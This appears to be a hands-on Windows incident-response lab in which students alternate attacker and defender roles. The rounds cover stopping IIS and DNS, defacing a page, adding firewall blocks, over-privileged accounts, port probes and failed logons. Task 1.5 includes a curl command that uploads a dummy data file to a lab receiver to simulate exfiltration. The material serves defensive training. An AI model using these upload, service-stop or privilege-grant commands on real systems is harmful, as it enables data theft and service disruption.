Windows Training

← Overview|......|Windows group login credentials →

Preparation — Service inventory and baseline

Step 1 — Record the service inventory and baseline

Identify your hostname, IP, listeners and running services. Compare with Overview.

hostname
Get-NetIPConfiguration
Get-Service W3SVC,DNS
Get-NetTCPConnection -State Listen
Resolve-DnsName windows.training.test -Server 172.29.242.40
Invoke-WebRequest http://172.29.242.40/index.html -UseBasicParsing

Module 1 — Attacker already has system access

Practice investigating and recovering from changes made by an attacker who already has system access.

Task 1.1 — Service tampering and recovery

Practice investigating and recovering from service outages caused by an attacker who already has administrative access. Practice web and DNS service outages using the steps below:

  1. Verify the Windows baseline
  2. Attacker: stop IIS
  3. Defender: investigate the IIS outage
  4. Defender: restore IIS
  5. Attacker: stop DNS
  6. Defender: investigate the DNS outage
  7. Defender: restore DNS
  8. Windows defense review and deliverables

Before you begin

Run service and investigation commands in elevated PowerShell inside the assigned Windows VM. Perform the labeled laptop checks on your own computer. Keep Remote Desktop, networking and the firewall available throughout the exercise.

Step 1 — Verify the Windows baseline

Check the service states and record the results against the expected conditions for this step.

Record the UTC time and confirm the VM hostname:

(Get-Date).ToUniversalTime().ToString('o')
hostname

Check service states and request the webpage:

Get-Service W3SVC,DNS
(Invoke-WebRequest http://172.29.242.40/index.html -UseBasicParsing -TimeoutSec 5).Content

Query DNS over UDP:

Resolve-DnsName www.training.test -Server 172.29.242.40 -DnsOnly -NoHostsFile
Laptop browser check — baseline

Location: your own computer, outside the VM. Before the attacker stops the service, confirm the website works from your own campus laptop. Open http://128.198.74.133:28080/index.html. Hard-refresh to avoid a cached page, or use the command below for a new request. Keep this separate from the guest-side commands above.

Windows laptop, PowerShell:

curl.exe -i --max-time 5 http://128.198.74.133:28080/index.html

macOS/Linux laptop, Terminal:

curl -i --max-time 5 http://128.198.74.133:28080/index.html

Expect HTTP 200 and the page text CCDC Windows intranet: operational. Compare the response with the service state and timestamps inside the target VM. The relay's TCP port can still accept a connection when the guest HTTP service is down: a successful port test alone does not prove HTTP works. This is an HTTP service exercise; do not stop networking, RDP or TCP itself.

Step 2 — Attacker: stop IIS

Record the time, execute the stop once and hand over to the defender.

Record the current UTC time:

(Get-Date).ToUniversalTime().ToString('o')

Stop only the assigned service:

Stop-Service W3SVC
Laptop browser check — outage

Location: your own computer, outside the VM. With the HTTP service stopped, test again from your own campus laptop before the defender restores it. Open http://128.198.74.133:28080/index.html. Hard-refresh to avoid a cached page, or use the command below for a new request. Keep this separate from the guest-side commands above.

Windows laptop, PowerShell:

curl.exe -i --max-time 5 http://128.198.74.133:28080/index.html

macOS/Linux laptop, Terminal:

curl -i --max-time 5 http://128.198.74.133:28080/index.html

Expect a request failure, empty reply, timeout or HTTP error; the operational page must not be returned. IIS can return an HTTP error while its HTTP.sys TCP listener remains available. Compare the response with the service state and timestamps inside the target VM. The relay's TCP port can still accept a connection when the guest HTTP service is down: a successful port test alone does not prove HTTP works. This is an HTTP service exercise; do not stop networking, RDP or TCP itself.

Step 3 — Defender: investigate the IIS outage

A failed request or an HTTP error is expected; it must not return the operational page. DNS should still answer. Capture evidence before recovery.

Inspect the service states and compare them with the expected result for this step:

Get-Service W3SVC,DNS

Request the webpage and compare the response with the expected result:

Invoke-WebRequest http://172.29.242.40/index.html -UseBasicParsing -TimeoutSec 5

Query DNS over UDP:

Resolve-DnsName www.training.test -Server 172.29.242.40 -DnsOnly -NoHostsFile

Inspect the relevant recent Windows event records:

Get-WinEvent -FilterHashtable @{LogName='System'; StartTime=(Get-Date).AddMinutes(-15)} | Where-Object ProviderName -eq 'Service Control Manager' | Select-Object TimeCreated,Id,Message

Step 4 — Defender: restore IIS

Restart only the assigned service:

Start-Service W3SVC

Check service states and request the webpage:

Get-Service W3SVC,DNS
(Invoke-WebRequest http://172.29.242.40/index.html -UseBasicParsing -TimeoutSec 5).Content

Record the current UTC time:

(Get-Date).ToUniversalTime().ToString('o')

Check the service states and record the results against the expected conditions for this step.

Laptop browser check — recovery

Location: your own computer, outside the VM. After restoring the HTTP service, repeat the same request from your own campus laptop. Open http://128.198.74.133:28080/index.html. Hard-refresh to avoid a cached page, or use the command below for a new request. Keep this separate from the guest-side commands above.

Windows laptop, PowerShell:

curl.exe -i --max-time 5 http://128.198.74.133:28080/index.html

macOS/Linux laptop, Terminal:

curl -i --max-time 5 http://128.198.74.133:28080/index.html

Expect HTTP 200 and the page text CCDC Windows intranet: operational. Compare the response with the service state and timestamps inside the target VM. The relay's TCP port can still accept a connection when the guest HTTP service is down: a successful port test alone does not prove HTTP works. This is an HTTP service exercise; do not stop networking, RDP or TCP itself.

Step 5 — Attacker: stop DNS

Record the current UTC time:

(Get-Date).ToUniversalTime().ToString('o')

Stop only the assigned service:

Stop-Service DNS

Step 6 — Defender: investigate the DNS outage

Check the service states and record the results against the expected conditions for this step.

Inspect the service states and compare them with the expected result for this step:

Get-Service DNS,W3SVC

Clear the DNS client cache before testing the server:

Clear-DnsClientCache

Test DNS over both UDP and TCP:

Resolve-DnsName www.training.test -Server 172.29.242.40 -DnsOnly -NoHostsFile -QuickTimeout
Resolve-DnsName www.training.test -Server 172.29.242.40 -DnsOnly -NoHostsFile -TcpOnly -QuickTimeout

Request the webpage and compare the response with the expected result:

(Invoke-WebRequest http://172.29.242.40/index.html -UseBasicParsing -TimeoutSec 5).Content

Inspect the relevant recent Windows event records:

Get-WinEvent -FilterHashtable @{LogName='System'; StartTime=(Get-Date).AddMinutes(-15)} | Where-Object ProviderName -eq 'Service Control Manager' | Select-Object TimeCreated,Id,Message
Compare DNS failure with HTTP availability

On your campus laptop: open http://128.198.74.133:28080/index.html or repeat the laptop curl command from Step 1. The operational page should still load while DNS is stopped, provided IIS and the VM remain running. This numeric URL bypasses guest DNS; it cannot prove that DNS works. Use the Resolve-DnsName UDP and TCP checks above inside Windows to establish DNS failure and repeat them after restoration. DNS over TCP means TCP port 53, not a separate TCP service to stop.

Step 7 — Defender: restore DNS

Restart only the assigned service:

Start-Service DNS

Clear the DNS client cache before testing the server:

Clear-DnsClientCache

Inspect the service states and compare them with the expected result for this step:

Get-Service DNS,W3SVC

Test DNS over both UDP and TCP:

Resolve-DnsName www.training.test -Server 172.29.242.40 -DnsOnly -NoHostsFile
Resolve-DnsName www.training.test -Server 172.29.242.40 -DnsOnly -NoHostsFile -TcpOnly

Record the current UTC time:

(Get-Date).ToUniversalTime().ToString('o')

Step 8 — Windows defense review and deliverables

Show the service-stop and recovery timeline for both service outages. Demonstrate the operational page from your laptop and successful DNS responses over UDP and TCP. Explain why stopping IIS differed from stopping DNS, and keep your evidence. No written report submission is required.

A service event may show a state change without proving who caused it, especially with a shared account. Propose separate accounts, credential rotation, reduced unnecessary privilege and service monitoring. Keep the assigned trainee account’s administrator permission for the remaining lessons. Keep your evidence, switch roles and repeat from Step 1 after restoring the baseline.

Task 1.2 — Web-content tampering and evidence

Investigate unauthorized changes to a webpage even when the web service still responds. Follow the four steps below:

  1. Prepare your own trusted recovery copy and baseline checksum.
  2. Attacker changes the page while IIS remains running.
  3. Defender preserves evidence and compares the changed page with the baseline.
  4. Defender restores the original page and verifies recovery.

Use your assigned trainee account in elevated PowerShell inside the Windows VM. Use the same PowerShell window throughout one round. When you switch roles, repeat Step 1 to create a new directory; previous files remain saved.

Step 1 — Prepare a trusted recovery copy

Check IIS and DNS, then request the operational page:

Get-Service W3SVC,DNS
(Invoke-WebRequest http://172.29.242.40/index.html -UseBasicParsing -TimeoutSec 5).Content

Both services should be running and the page should show CCDC Windows intranet: operational. Confirm the same content from your campus laptop at the Windows website. If the previous round left the page changed, restore that round’s original using Step 4 before making another recovery copy.

Set the webpage path and create a unique name for this round’s exercise directory:

$site = 'C:\inetpub\wwwroot\index.html'
$case = Join-Path $HOME ('CCDC-Exercise-1-2-' + [guid]::NewGuid().ToString('N'))

Check that the webpage exists; expect True. Stop here if the path is incorrect:

Test-Path -LiteralPath $site

Create the exercise directory. Continue only if it is created successfully:

New-Item -ItemType Directory -Path $case -ErrorAction Stop

Save a trusted copy of the operational page before the attack:

Copy-Item -LiteralPath $site -Destination "$case\original.html" -ErrorAction Stop

Save its SHA-256 checksum in a separate baseline file:

(Get-FileHash -LiteralPath $site -Algorithm SHA256).Hash | Set-Content -LiteralPath "$case\original.sha256" -Encoding ASCII

Display and record the exercise-directory path:

$case

Keep original.html and original.sha256 unchanged. If you reopen PowerShell during the round, set $site to the webpage path and $case to this round’s recorded directory before continuing.

Note: in a real environment, store the trusted recovery copy and baseline checksum outside the victim computer so an attacker who compromises that computer cannot alter them.

Step 2 — Attacker: change the page

Record the time of the assigned change:

(Get-Date).ToUniversalTime().ToString('o')

Replace only the exercise webpage with the changed-page marker:

Set-Content -LiteralPath $site -Value 'CCDC exercise: changed page' -Encoding UTF8

Check that IIS remains running and request the changed page:

Get-Service W3SVC
(Invoke-WebRequest http://172.29.242.40/index.html -UseBasicParsing -TimeoutSec 5).Content

Expect a successful response containing CCDC exercise: changed page. Keep IIS, DNS and remote desktop running. Do not modify the recovery copy or baseline checksum. Hand over to the defender.

Step 3 — Defender: investigate before restoring

From your campus laptop, make a fresh request to the Windows website. It may return HTTP 200 while showing the wrong content. In the same elevated PowerShell window, inspect and preserve evidence before recovery.

Inspect the changed file’s metadata and access permissions:

Get-Item -LiteralPath $site | Select-Object FullName,Length,LastWriteTimeUtc
Get-Acl -LiteralPath $site | Format-List

Preserve the changed page in this round’s directory:

Copy-Item -LiteralPath $site -Destination "$case\changed.html" -ErrorAction Stop

Display the changed content and its checksum:

Get-Content -LiteralPath $site
Get-FileHash -LiteralPath $site -Algorithm SHA256

Compare the current checksum with the saved baseline. Expect False after the attack:

(Get-FileHash -LiteralPath $site -Algorithm SHA256).Hash -eq (Get-Content -LiteralPath "$case\original.sha256").Trim()

Save the output or screenshots. Review IIS access records at the configured logging location (normally C:\inetpub\logs\LogFiles\W3SVC1). Access logs show requests, not who edited the file. File-change attribution requires auditing enabled before the change; timestamps alone do not establish an attacker’s identity.

Step 4 — Defender: recover and verify

Restore your trusted original. Continue only if the copy succeeds:

Copy-Item -LiteralPath "$case\original.html" -Destination $site -Force -ErrorAction Stop

Compare the restored file with the saved baseline checksum; expect True:

(Get-FileHash -LiteralPath $site -Algorithm SHA256).Hash -eq (Get-Content -LiteralPath "$case\original.sha256").Trim()

Check the services and restored webpage:

Get-Service W3SVC,DNS,TermService
(Invoke-WebRequest http://172.29.242.40/index.html -UseBasicParsing -TimeoutSec 5).Content

Verify that DNS still answers:

Resolve-DnsName www.training.test -Server 172.29.242.40 -DnsOnly -NoHostsFile

All three services should be running, the checksum comparison should be True and the page should show the operational intranet. Repeat the laptop HTTP check with a fresh request. Keep this round’s evidence and original files, switch roles and repeat from Step 1 with a new directory.

Practice check: show the changed page, preserved evidence, matching restored checksum and normal service. Explain why HTTP 200 alone did not prove the page was correct. No written report submission is required.

Task 1.3 — Firewall tampering versus service failure

Investigate an HTTP outage caused by a firewall change while IIS remains running. Follow the three steps below:

  1. Attacker blocks incoming HTTP traffic.
  2. Defender investigates while IIS remains running.
  3. Defender removes the exercise rule and verifies recovery.

Step 1 — Attacker: block incoming HTTP traffic

Use elevated PowerShell inside your assigned Windows VM. Check the starting conditions before creating the rule.

Confirm that Windows Firewall is enabled on all profiles:

Get-NetFirewallProfile | Select-Object Name,Enabled

Check the required services and request the operational page:

Get-Service W3SVC,DNS,TermService
(Invoke-WebRequest http://172.29.242.40/index.html -UseBasicParsing -TimeoutSec 5).Content

Check for an existing exercise rule; expect no output:

Get-NetFirewallRule -Name 'CCDC-Exercise-HTTP-Block' -ErrorAction SilentlyContinue

Continue only when the firewall profiles are enabled, services are running and the operational intranet page is available. Confirm the same page from your campus laptop at the Windows website. If the exercise rule already exists, finish Step 3 before starting another round.

Record the time, then run the rule-creation command once:

(Get-Date).ToUniversalTime().ToString('o')

Block only incoming HTTP on TCP port 80:

New-NetFirewallRule -Name 'CCDC-Exercise-HTTP-Block' -DisplayName 'CCDC-Exercise-HTTP-Block' -Direction Inbound -Action Block -Protocol TCP -LocalPort 80 -Profile Any

Make a fresh laptop HTTP request; expect failure or a relay error rather than the operational page. Leave IIS and DNS running and keep your remote desktop session open. This rule does not target DNS or remote desktop ports. Hand over to the defender after demonstrating the failure.

Step 2 — Defender: investigate the outage

Check that the services remain running and TCP port 80 still has a listener:

Get-Service W3SVC,DNS,TermService
Get-NetTCPConnection -State Listen | Where-Object LocalPort -eq 80

Inspect the enabled firewall profiles and exact exercise rule:

Get-NetFirewallProfile | Select-Object Name,Enabled
Get-NetFirewallRule -Name 'CCDC-Exercise-HTTP-Block' | Format-List

Inspect the rule’s protocol and destination port:

Get-NetFirewallRule -Name 'CCDC-Exercise-HTTP-Block' | Get-NetFirewallPortFilter

Confirm DNS still answers:

Resolve-DnsName www.training.test -Server 172.29.242.40 -DnsOnly -NoHostsFile

Preserve the output or screenshots before recovery. Expect an enabled inbound block rule for TCP port 80 while IIS, DNS and remote desktop remain running. Compare this with the failed laptop HTTP request. A listener or successful TCP connection to the relay alone does not prove that the guest’s HTTP service is reachable.

Step 3 — Defender: recover and verify

Remove only the exact exercise rule:

Remove-NetFirewallRule -Name 'CCDC-Exercise-HTTP-Block'

Check that the firewall remains enabled and the exercise rule is absent:

Get-NetFirewallProfile | Select-Object Name,Enabled
Get-NetFirewallRule -Name 'CCDC-Exercise-HTTP-Block' -ErrorAction SilentlyContinue

Check the services and request the operational page:

Get-Service W3SVC,DNS,TermService
(Invoke-WebRequest http://172.29.242.40/index.html -UseBasicParsing -TimeoutSec 5).Content

Verify DNS after recovery:

Resolve-DnsName www.training.test -Server 172.29.242.40 -DnsOnly -NoHostsFile

Expect no exercise-rule output, enabled firewall profiles, running services and the operational intranet page. Repeat the laptop HTTP check; the operational page must return and your remote desktop session must remain connected. Do not disable the firewall or change unrelated rules.

Practice check: show the external HTTP failure, running IIS, the exercise block rule and successful external recovery after removal. Explain how this differs from Task 1.1. Keep the evidence, switch roles and repeat from Step 1. No written report submission is required.

Task 1.4 — Compromised account and excessive privilege

Investigate an exercise account with excessive privileges and contain its access while preserving legitimate services. Complete the four steps below yourselves, then switch roles and repeat.

  1. Prepare the dedicated exercise account and check normal service.
  2. Attacker demonstrates the account’s excessive access.
  3. Defender preserves evidence and removes the excessive access.
  4. Defender verifies containment, checks normal service and cleans up.

Use only the dedicated ccdc-demo account for this exercise. Keep your assigned trainee account’s privileges unchanged. This task starts with access to an account; it does not involve guessing or cracking passwords.

Step 1 — Prepare the dedicated exercise account

Use your assigned trainee account in elevated Windows PowerShell inside the Windows VM. Verify the baseline:

Check service states and request the webpage:

Get-Service W3SVC,DNS,TermService
(Invoke-WebRequest http://172.29.242.40/index.html -UseBasicParsing -TimeoutSec 5).Content

Query DNS over UDP:

Resolve-DnsName www.training.test -Server 172.29.242.40 -DnsOnly -NoHostsFile

All three services should be running, the operational intranet page should be returned and DNS should answer. Confirm the page from your campus laptop at the Windows website.

Create the dedicated account with a temporary exercise password and deliberately grant it administrator membership. Give that password to the student acting as attacker. If the account exists, complete the previous round’s cleanup before starting a fresh round. Keep this elevated PowerShell window open for the defender steps.

Check whether the exercise account exists; expect no output before a fresh round:

Get-LocalUser -Name 'ccdc-demo' -ErrorAction SilentlyContinue

If the lookup returns an account, finish the previous round’s cleanup before continuing. Do not overwrite it.

Choose a temporary exercise password; the input is hidden:

$password = Read-Host 'Temporary exercise password' -AsSecureString

Create only the dedicated exercise account. Continue only if creation succeeds:

New-LocalUser -Name 'ccdc-demo' -Password $password -Description 'CCDC Task 1.4 exercise account' -ErrorAction Stop

Find the built-in Administrators group and inspect its current membership:

$admins = Get-LocalGroup -SID 'S-1-5-32-544'
Get-LocalGroupMember -Group $admins.Name

Deliberately grant the dedicated account excessive administrator membership:

Add-LocalGroupMember -Group $admins.Name -Member 'ccdc-demo' -ErrorAction Stop

Verify that the account is enabled and appears in Administrators:

Get-LocalUser -Name 'ccdc-demo'
Get-LocalGroupMember -Group $admins.Name

Step 2 — Attacker: demonstrate the excessive access

Open a separate PowerShell window inside the VM. Run the following and enter the temporary exercise password:

runas /user:.\ccdc-demo "cmd.exe /k whoami /all"

In the new command window, confirm the identity is ccdc-demo and find the Administrators group in the token output. Keep this window open for the containment demonstration. UAC may mark administrator groups as deny-only in an unelevated token, so membership does not mean every process is elevated. This round demonstrates an unnecessary administrator grant; no service stop or RDP permission change is required.

Step 3 — Defender: investigate and contain

In the original elevated PowerShell window, inspect the account, unexpected membership and available events. Save the output or screenshots before changing the account:

Inspect the exercise account’s state and details:

Get-LocalUser -Name 'ccdc-demo' | Format-List Name,Enabled,LastLogon,Description

Identify Administrators and inspect its membership:

$admins = Get-LocalGroup -SID 'S-1-5-32-544'
Get-LocalGroupMember -Group $admins.Name

Inspect the relevant recent Windows event records:

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624,4720,4732; StartTime=(Get-Date).AddMinutes(-30)} -ErrorAction SilentlyContinue | Select-Object TimeCreated,Id,Message | Format-List

Find events mentioning the exercise account. Account creation and group changes appear only when the corresponding auditing is enabled; missing events do not prove no change occurred. The account and membership listings provide direct evidence of its current privileges.

Disable new logons for the exercise account and remove its unnecessary administrator membership:

Disable new logons for the dedicated exercise account:

Disable-LocalUser -Name 'ccdc-demo'

Identify the built-in Administrators group:

$admins = Get-LocalGroup -SID 'S-1-5-32-544'

Remove only the exercise account’s administrator membership:

Remove-LocalGroupMember -Group $admins.Name -Member 'ccdc-demo'

Inspect the account and administrator membership:

Get-LocalUser -Name 'ccdc-demo' | Select-Object Name,Enabled
Get-LocalGroupMember -Group $admins.Name

Expect Enabled: False and no ccdc-demo member in Administrators. Disabling the account and removing membership do not revoke an existing process token. In the attacker’s existing command window, run whoami /all again to observe that it still has the original token. Then run exit to close it. In Task Manager’s Details view, enable the User name column and confirm no processes remain under the exercise account. Close any other exercise processes before continuing.

Step 4 — Defender: verify containment and clean up

Repeat the same runas command from the attacker’s PowerShell window using the same correct temporary password. Expect an account-disabled/logon-failure message and no new command window. Confirm legitimate services:

Check service states and request the webpage:

Get-Service W3SVC,DNS,TermService
(Invoke-WebRequest http://172.29.242.40/index.html -UseBasicParsing -TimeoutSec 5).Content

Query DNS over UDP:

Resolve-DnsName www.training.test -Server 172.29.242.40 -DnsOnly -NoHostsFile

All three services should still be running, the operational page should be returned and DNS should answer. Repeat the laptop HTTP check. After retaining the account evidence, remove only the dedicated exercise account from the defender’s elevated PowerShell window:

Remove-LocalUser -Name 'ccdc-demo'

Verify removal; expect no account output:

Get-LocalUser -Name 'ccdc-demo' -ErrorAction SilentlyContinue

Expect no account output from the final lookup. Keep your evidence, reverse roles and repeat from Step 1 to prepare a fresh account. Do not remove or change the assigned trainee accounts.

Practice check: show the excessive membership, evidence collected before containment, disabled new access, closure of the existing exercise process and normal service. No written report submission is required.

Task 1.5 — Suspicious outbound traffic and data exfiltration

Identify a process sending dummy business data out of the victim VM, contain the connection and verify normal service. Follow the five steps below:

  1. Prepare the dummy data and check the isolated receiver.
  2. Attacker starts the visible transfer simulator.
  3. Defender identifies the connection, process and received data.
  4. Defender stops the sender and blocks further transfers to this receiver.
  5. Defender verifies containment and normal service, then cleans up.

This exercise uses curl as a visible simulator and sends only the supplied fictional records. The receiver at 172.29.242.1:18081 is on the isolated lab host, outside the victim VM. It accepts only the exact dummy payload. No startup mechanism is installed. Use only this destination and the supplied file.

Step 1 — Prepare the dummy data and check the receiver

Use your assigned trainee account in elevated PowerShell inside the Windows VM. Download the dummy business-data file unchanged into Downloads inside the VM. For an offline pack, copy the file from lab-assets into Downloads. Do not edit or resave its contents.

Check the required services and enabled firewall profiles:

Get-Service W3SVC,DNS,TermService
Get-NetFirewallProfile | Select-Object Name,Enabled

Verify the operational webpage and isolated receiver:

(Invoke-WebRequest http://172.29.242.40/index.html -UseBasicParsing -TimeoutSec 5).Content
curl.exe --max-time 5 -fsS http://172.29.242.1:18081/health

Expect running services, enabled firewall profiles, the operational intranet and receiver mode dummy-data-only. Confirm the intranet also loads from your campus laptop. Finish earlier tasks’ cleanup before continuing.

Set a unique exercise-directory path:

$case = Join-Path $HOME ('CCDC-Exercise-1-5-' + [guid]::NewGuid().ToString('N'))

Create the directory; continue only if creation succeeds:

New-Item -ItemType Directory -Path $case -ErrorAction Stop

Copy only the supplied dummy data into this round’s directory:

Copy-Item -LiteralPath "$env:USERPROFILE\Downloads\dummy-business-data.txt" -Destination "$case\dummy-business-data.txt" -ErrorAction Stop

Inspect the fictional content and record its checksum:

Get-Content -LiteralPath "$case\dummy-business-data.txt"
Get-FileHash -LiteralPath "$case\dummy-business-data.txt" -Algorithm SHA256

Display and record this round’s directory:

$case

Expect the heading CCDC TRAINING DATA ONLY and two fictional customer records. Keep this PowerShell window open for the attacker’s transfer so $case remains available.

Step 2 — Attacker: start the transfer simulator

Record the UTC time:

(Get-Date).ToUniversalTime().ToString('o')

Start one visible transfer of the supplied dummy file:

curl.exe --connect-timeout 3 --max-time 150 --data-binary "@$case\dummy-business-data.txt" http://172.29.242.1:18081/upload/windows

The receiver records the data immediately and delays acknowledgement for 120 seconds so the sender connection remains visible. Leave this command running and hand over to the defender. If it finishes before investigation, repeat this single transfer once to inspect a live connection. HTTP 400 means the file differs from the supplied dummy payload; do not substitute any real file.

Step 3 — Defender: identify the connection and process

Open a second elevated PowerShell window in the same Windows desktop. Keep the attacker’s window open. Save the following output or screenshots before containment.

Identify the established connection to the isolated receiver:

Get-NetTCPConnection -RemoteAddress 172.29.242.1 -RemotePort 18081 -State Established | Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess

Record the connection’s source port and OwningProcess PID. Replace 1234 in both commands below with that observed PID:

Inspect the process name, executable path and complete command line:

Get-Process -Id 1234 | Select-Object Id,ProcessName,Path
Get-CimInstance Win32_Process -Filter "ProcessId=1234" | Select-Object ProcessId,CommandLine

Read the receiver’s recent Windows receipts:

curl.exe --max-time 5 -fsS http://172.29.242.1:18081/receipts/windows

Find this round’s receipt by time and source IP 172.29.242.40. Compare its SHA-256 value with Step 1 and inspect the fictional payload. This independent receipt establishes that the dummy data reached the receiver even while curl is waiting for its acknowledgement.

Step 4 — Defender: stop and contain the transfer

Confirm the PID belongs to the exercise’s curl.exe command. Replace 1234 with that PID and stop only this sender; do not stop IIS, DNS, remote desktop or an unrelated process.

Stop the identified sender process:

Stop-Process -Id 1234

Check whether the outbound exercise rule already exists:

Get-NetFirewallRule -Name 'CCDC-Exercise-Outbound-Block' -ErrorAction SilentlyContinue

If this exact rule already exists, use it for the containment test. Otherwise add the following single rule:

Block only outbound TCP traffic to the lab receiver:

New-NetFirewallRule -Name 'CCDC-Exercise-Outbound-Block' -DisplayName 'CCDC-Exercise-Outbound-Block' -Direction Outbound -Action Block -Protocol TCP -RemoteAddress 172.29.242.1 -RemotePort 18081 -Profile Any

In the attacker’s original PowerShell window, repeat the transfer with a short timeout:

Confirm that the next attempt cannot reach the receiver:

curl.exe --connect-timeout 3 --max-time 5 --data-binary "@$case\dummy-business-data.txt" http://172.29.242.1:18081/upload/windows

Expect a connection failure or timeout. Record the time and result. The block prevents another transfer to this receiver; it cannot undo the dummy data already recorded there.

Step 5 — Defender: verify service and clean up

Check for a remaining sender connection; expect no established connection:

Get-NetTCPConnection -RemoteAddress 172.29.242.1 -RemotePort 18081 -State Established -ErrorAction SilentlyContinue

Check the services and operational webpage:

Get-Service W3SVC,DNS,TermService
(Invoke-WebRequest http://172.29.242.40/index.html -UseBasicParsing -TimeoutSec 5).Content

Verify DNS still answers:

Resolve-DnsName www.training.test -Server 172.29.242.40 -DnsOnly -NoHostsFile

All three services should remain running. Confirm the operational page from your campus laptop and continued remote desktop access. No startup entry was installed by this exercise; stopping curl ends the running simulator.

After retaining the containment evidence, remove only the outbound exercise rule:

Remove-NetFirewallRule -Name 'CCDC-Exercise-Outbound-Block'

Check the rule is absent and read receipts after restoring lab connectivity:

Get-NetFirewallRule -Name 'CCDC-Exercise-Outbound-Block' -ErrorAction SilentlyContinue
curl.exe --max-time 5 -fsS http://172.29.242.1:18081/receipts/windows

The blocked attempt should have no matching new receipt. Earlier receipts remain evidence of completed transfers. Keep your screenshots or saved output. In the attacker’s original PowerShell window, remove only this round’s copied dummy file after the debrief:

Remove the copied dummy file:

Remove-Item -LiteralPath "$case\dummy-business-data.txt"

Practice check: show the destination and sender PID, the independent receipt and matching checksum, the blocked retry and normal business services. Switch roles and repeat from Step 1. No written report submission is required.

Module 2 — Attacker starts without system access

Practice service discovery, authentication and request-log investigation, and analysis of a supplied incident timeline.

Task 2.1 — Port scanning and service discovery

Compare the attacker’s view of reachable ports with the defender’s service inventory. Follow the steps below:

  1. Defender — establish the service inventory
  2. Attacker — one bounded pass
  3. Defender — explain and verify

Use the assigned guest only. In these single-VM simulations, the attacker uses a normal guest terminal to generate network requests; target administration is reserved for the defender. The attacker uses the assigned account only to generate traffic; this login does not demonstrate a successful intrusion. Run the attacker’s commands without elevation.

Step 1 — Defender: establish the service inventory

Record listening ports before the attacker’s scan. Use the listener inventory to confirm TCP 65000 is unused; omit it if it is in use. Required ports are 53 (DNS), 80 (HTTP), and 3389 (RDP).

Get-Date -Format o
Get-NetTCPConnection -State Listen | Sort-Object LocalPort | Select-Object LocalAddress,LocalPort,OwningProcess
Get-Service DNS,W3SVC,TermService

Step 2 — Attacker: one bounded pass

Probe only these four ports once. A failed connection can mean a closed port or filtering; it is not a conclusive firewall diagnosis. Save the displayed results for comparison.

53,80,3389,65000 | ForEach-Object {
  $port = $_
  $open = Test-NetConnection -ComputerName 172.29.242.40 -Port $port -InformationLevel Quiet -WarningAction SilentlyContinue
  [pscustomobject]@{Port=$port; TcpReachable=$open}
}

Step 3 — Defender: explain and verify

  1. Compare probe results with the inventory. Explain each expected listener and investigate any discrepancy.
  2. Inspect existing firewall or service logs for the recorded time window. A connection-only probe may leave no application log entry. Report that visibility gap rather than inventing evidence.
  3. Explain one restriction you would consider for an unnecessary service. This round changes no firewall or service configuration.
  4. Use a fresh laptop request to the assigned website to confirm ordinary HTTP still works.

Complete: show the four results, the matching listener inventory, and a normal HTTP response. No configuration cleanup is needed. The local pass does not establish laptop reachability or test the relay firewall. Windows TCP 53 does not verify UDP DNS.

Task 2.2 practical — Investigate failed Windows authentication

Investigate rejected authentication attempts and distinguish the evidence from a successful login. Follow the steps below:

  1. Defender — establish the baseline
  2. Attacker — generate the failed authentication attempt
  3. Defender — inspect and explain the authentication evidence

Step 1 — Defender: establish the baseline

Defender, elevated PowerShell: establish the baseline. Verify that failure auditing is enabled and that the test name does not exist. The account lookup must return False.

Get-Date -Format o
Get-Service W3SVC,DNS,TermService
[bool](Get-LocalUser | Where-Object Name -eq 'ccdc-probe-no-user')
auditpol /get /subcategory:"Logon"

Expect the account lookup to return False and Logon auditing to include failures. If failure auditing is not enabled, the defender enables it before the attacker starts:

auditpol /set /subcategory:"Logon" /failure:enable

Repeat the audit-policy check before continuing.

Step 2 — Attacker: generate the failed authentication attempt

Attacker, a separate PowerShell window: run once and enter arbitrary dummy text at the password prompt. Expect a logon failure; no command window should open. Repeat manually at most twice more to compare several failures; do not exceed three attempts in this round.

runas /user:.\ccdc-probe-no-user "cmd.exe /c whoami"

This tests a local logon path. Expect local or blank source information and inspect the actual logon type rather than assuming it is an RDP event.

Step 3 — Defender: inspect and explain the authentication evidence

Defender, elevated PowerShell: inspect recent failures and successes. Read the full message for an event containing the test username; unrelated background events may appear too.

$since = (Get-Date).AddMinutes(-10)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625; StartTime=$since} |
  Select-Object -First 20 TimeCreated,Id,Message | Format-List
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624; StartTime=$since} |
  Select-Object -First 10 TimeCreated,Id,Message | Format-List

Find the target account, time, logon type, status/substatus and source where populated. Event 4625 records failed logon; 4624 records successful logon. Do not confuse the Subject account with the account being targeted. No matching events: verify the time window, audit policy and permissions; do not repeatedly generate failures. One attempt can cause multiple records. Compare an isolated mistake with a cluster of failures; discuss spraying across accounts without performing it.

Task 2.3 practical — Investigate IIS probing and a dummy exposed backup

Investigate requests for a missing file and a deliberately exposed dummy backup. Follow the steps below:

  1. Attacker — make the assigned web requests
  2. Defender — inspect the request evidence
  3. Defender — mitigate, repeat and verify

Step 1 — Attacker: make the assigned web requests

Before requests begin, verify logging in IIS Manager: Sites → Default Web Site → Logging. Enable site logging if disabled, select W3C format, and include date, time, c-ip, cs-method, cs-uri-stem, cs-uri-query and sc-status. Use the physical website and log paths shown for this site.

Attacker, elevated PowerShell: prepare the deliberately exposed dummy file using your assigned trainee account. This is scenario setup; the later requests model finding exposed data without logging in.

Check that both exercise paths are absent; expect False for each:

Test-Path -LiteralPath 'C:\inetpub\wwwroot\ccdc-probe-backup.txt'
Test-Path -LiteralPath 'C:\inetpub\wwwroot\ccdc-probe-missing.txt'

If the known dummy backup remains from a previous round, complete Step 3 first. Do not overwrite an unknown file.

Create only the fictional dummy backup; continue only if creation succeeds:

New-Item -ItemType File -Path 'C:\inetpub\wwwroot\ccdc-probe-backup.txt' -Value 'CCDC DUMMY BACKUP - NO REAL SECRETS' -ErrorAction Stop

Make the following requests once each. Use curl.exe explicitly; curl can be a PowerShell alias on this server.

curl.exe -i --max-time 5 http://172.29.242.40/index.html
curl.exe -i --max-time 5 http://172.29.242.40/ccdc-probe-missing.txt
curl.exe -i --max-time 5 http://172.29.242.40/ccdc-probe-backup.txt

Expect 200 for the operational page, 404 for the missing path and 200 with dummy text for the published backup. No valid server login was needed to read that file.

Step 2 — Defender: inspect the request evidence

Defender, elevated PowerShell: find the website ID and log location in IIS Manager: Sites → Default Web Site → Logging. These commands assume the default W3C path and site ID 1; substitute the actual location if different.

